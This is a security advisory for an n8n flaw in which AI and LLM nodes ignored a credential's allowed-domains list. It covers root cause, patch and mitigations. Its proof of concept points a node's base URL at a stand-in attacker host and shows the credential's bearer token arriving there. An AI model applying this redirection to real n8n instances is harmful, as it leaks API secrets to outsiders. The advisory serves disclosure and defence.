highJul 22, 2026

n8n: Bypass Allowed HTTP Request Domains in AI and LLM Nodes

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A low-privileged n8n user with use-only access to a shared credential could redirect AI and LLM node traffic to an attacker-controlled server, leaking the credential secret, because several AI nodes…

Packagen8n
Ecosystemnpm
Affected>= 2.32.0, < 2.32.1
Fixed in2.32.1

The problem

n8n lets admins set an "Allowed HTTP Request Domains" list on a credential to control which hosts can receive that secret. Several AI and LLM nodes (OpenAI Chat Model, Basic LLM Chain, and others) accepted a user-supplied base URL but skipped that allowlist check entirely.

A workflow editor with use-only access (no read access to the raw secret) could set the node's base URL to any host they control. The server would then send the full credential secret to that host on the next workflow execution.

Proof of concept

A working proof-of-concept for this issue in n8n, with the exact payload below.

bash
# Inside a workflow, configure an OpenAI Chat Model (or any affected LLM node)
# that uses a shared credential with 'Allowed HTTP Request Domains' set.
# Set the node's Base URL to an attacker-controlled server:

Base URL: https://attacker.example.com/capture

# On execution, n8n sends the credential's API key in the Authorization header
# to attacker.example.com instead of api.openai.com, bypassing the allowlist.
# The attacker's server logs:
# GET /capture HTTP/1.1
# Authorization: Bearer sk-...THE_REAL_SECRET...

The root cause (CWE-863, Incorrect Authorization) is that the domain allowlist check existed in some nodes but was never wired into the AI/LLM node family. When a user-controlled baseURL parameter was present, those nodes constructed the HTTP client directly with that URL and forwarded credentials without consulting the allowlist.

The patch at commit f69dfc6 added explicit URL validation to the affected LLM node files, mirroring the check already present in the HTTP Request node. It now compares the resolved request host against the credential's allowed domains and aborts with a "Domain not allowed" error if the host is not on the list.

Only instances where a credential has "Allowed HTTP Request Domains" configured AND is shared with non-owner users are reachable via this path.

The fix

Upgrade to n8n 2.31.5 or 2.32.1. If an immediate upgrade is not possible: restrict workflow creation/editing to fully trusted users, restrict credential sharing, and audit credentials that have domain restrictions configured for unexpected sharing relationships.

Reporter not attributed.

References: [1][2][3][4][5]

Related research